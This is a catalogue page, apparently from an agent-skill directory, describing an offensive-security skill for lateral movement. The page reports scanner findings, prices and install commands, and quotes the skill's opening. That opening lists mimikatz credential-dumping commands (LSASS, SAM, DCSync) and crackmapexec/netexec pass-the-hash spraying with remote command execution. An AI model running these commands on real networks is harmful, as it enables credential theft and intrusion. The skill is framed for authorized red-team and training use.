claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SnailSploit/Claude-Red --skill offensive-lateral-movementgit clone --depth 1 https://github.com/SnailSploit/Claude-RedWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/snailsploit/claude-red/offensive-lateral-movement)<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-lateral-movement"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-lateral-movement.svg" alt="Measured on agentmods" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 3 YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
- high YARA Match · line 3 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- medium Privilege Escalation · line 354 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00208 | $0.04384 |
| Opus 5 | $0.00104 | $0.02192 |
| Sonnet 5 | $0.00042 | $0.00877 |
| Haiku 4.5 | $0.00021 | $0.00438 |
Grade B, and why
offensive-lateral-movement scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Harvests environment variablesmediumData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
2. Harvest credentials from the current host (LSASS, SAM, cached creds). Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Asks for rootlowPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo ip route add 10.10.20.0/24 dev ligolo Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
How it starts
The opening of the file, as written. The whole thing — 451 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Offensive Lateral Movement
Lateral movement is the phase where you expand access across a network after initial compromise. You pivot from one system to another using harvested credentials, token manipulation, or protocol abuse. The goal is to reach high-value targets -- domain controllers, database servers, file shares -- while minimizing detection footprint. Every technique here assumes you hold at least one valid credential or session token on the current host.
This skill covers credential-based movement, NTLM relay, remote execution protocols, session hijacking, and network tunneling. Apply these in authorized engagements only.
Quick Workflow
- Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
- Harvest credentials from the current host (LSASS, SAM, cached creds).
- Test credential reuse across discovered hosts with crackmapexec/netexec.
- Select a movement technique based on available credentials and target services.
- Establish persistence on the new host before moving further.
- Set up tunneling if you need to reach segmented networks.
- Document each pivot for your engagement report.
Pass-the-Hash
Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing the plaintext password. You extract hashes from LSASS, the SAM database, or NTDS.dit, then inject them into authentication requests.
Extract hashes with mimikatz on the current host:
# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords
# Dump SAM hashes (requires SYSTEM)
lsadump::sam
# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv
Use crackmapexec (or netexec) to spray the hash across the network:
# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"
# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 451 lines · 208 tokens per session scan B dbb18f5cf838
offensive-lateral-movement is a skill published in the GitHub repository SnailSploit/Claude-Red (3,040 stars, last pushed 8d ago), licensed MIT. It adds 208 tokens to every session and 4,384 once invoked, about $0.0010 per session on Opus 5. A static security scan graded it B with 2 findings (harvests environment variables, asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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